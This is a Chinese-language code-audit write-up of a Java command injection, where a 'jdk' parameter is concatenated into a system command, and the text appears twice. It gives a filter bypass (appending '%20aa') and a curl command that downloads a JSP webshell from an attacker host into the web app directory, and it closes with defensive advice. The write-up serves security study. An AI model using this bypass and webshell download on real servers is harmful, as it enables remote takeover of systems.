JAVA代码审计 ——从命令执行到GetShell
字数 727 2025-08-13 21:33:29

JAVA代码审计:从命令执行到GetShell 技术分析文档

1. 漏洞概述

本文分析了一个典型的Java命令执行漏洞案例,攻击者通过未充分过滤的用户输入参数,最终实现了远程代码执行并获取服务器Shell的过程。

2. 漏洞代码分析

2.1 漏洞点定位

漏洞存在于处理jdk参数的代码中:

// 问题代码示例
String jdk = request.getParameter("jdk");
jdk = jdk.trim();  // 仅进行了简单的空格过滤
jdk = jdk.trim();  // 重复进行空格过滤
String command = "some_command " + jdk;  // 直接拼接命令

2.2 问题分析

  1. 输入处理不足:

    • 仅使用trim()方法去除前后空格
    • 未对特殊字符(如&, |, ;等)进行过滤
    • 未进行命令白名单校验
  2. 命令执行链:

    • 代码中存在3个连续的命令执行方法调用
    • 如果利用成功,可以执行3次命令

3. 漏洞利用过程

3.1 初步尝试

  1. 尝试执行简单命令:
    ls&&
    
    • 发现&&被过滤
    • URL编码&%26仍然失败

3.2 绕过技巧

发现特殊绕过方式:

  • 在命令后添加%20aa(空格加aa)可以正常执行命令
  • 示例有效载荷:
    some_command malicious_payload%20aa
    

3.3 GetShell方法

直接echo写shell失败后,采用下载方式:

  1. 攻击者搭建HTTP服务,托管包含一句话木马的JSP文件

  2. 执行下载命令:

    curl%20-o%20../../webapps/xxxxx/xx.jsp%20http://xx.xx.xx.xx/hoo.jsp%20aa
    
    • 将远程JSP文件下载到web应用目录
    • 使用%20aa绕过限制
  3. 使用哥斯拉等工具连接获取的WebShell

4. 防御建议

  1. 输入验证:

    • 实施严格的白名单验证
    • 过滤所有命令分隔符和特殊字符
  2. 安全编码实践:

    • 避免直接拼接用户输入到系统命令
    • 使用安全的API替代命令执行
  3. 其他措施:

    • 实施最小权限原则
    • 定期进行代码审计和安全测试

5. 总结

该案例展示了:

  1. 简单的输入过滤不足导致的严重漏洞
  2. 命令执行漏洞的实际利用过程
  3. 通过FUZZ发现的有趣绕过技巧
  4. 从命令执行到GetShell的完整链条

注:本文仅用于技术研究和防御学习,严禁用于非法用途。

JAVA代码审计:从命令执行到GetShell 技术分析文档 1. 漏洞概述 本文分析了一个典型的Java命令执行漏洞案例,攻击者通过未充分过滤的用户输入参数,最终实现了远程代码执行并获取服务器Shell的过程。 2. 漏洞代码分析 2.1 漏洞点定位 漏洞存在于处理 jdk 参数的代码中: 2.2 问题分析 输入处理不足: 仅使用 trim() 方法去除前后空格 未对特殊字符(如 & , | , ; 等)进行过滤 未进行命令白名单校验 命令执行链: 代码中存在3个连续的命令执行方法调用 如果利用成功,可以执行3次命令 3. 漏洞利用过程 3.1 初步尝试 尝试执行简单命令: 发现 && 被过滤 URL编码 & 为 %26 仍然失败 3.2 绕过技巧 发现特殊绕过方式: 在命令后添加 %20aa (空格加aa)可以正常执行命令 示例有效载荷: 3.3 GetShell方法 直接 echo 写shell失败后,采用下载方式: 攻击者搭建HTTP服务,托管包含一句话木马的JSP文件 执行下载命令: 将远程JSP文件下载到web应用目录 使用 %20aa 绕过限制 使用哥斯拉等工具连接获取的WebShell 4. 防御建议 输入验证: 实施严格的白名单验证 过滤所有命令分隔符和特殊字符 安全编码实践: 避免直接拼接用户输入到系统命令 使用安全的API替代命令执行 其他措施: 实施最小权限原则 定期进行代码审计和安全测试 5. 总结 该案例展示了: 简单的输入过滤不足导致的严重漏洞 命令执行漏洞的实际利用过程 通过FUZZ发现的有趣绕过技巧 从命令执行到GetShell的完整链条 注:本文仅用于技术研究和防御学习,严禁用于非法用途。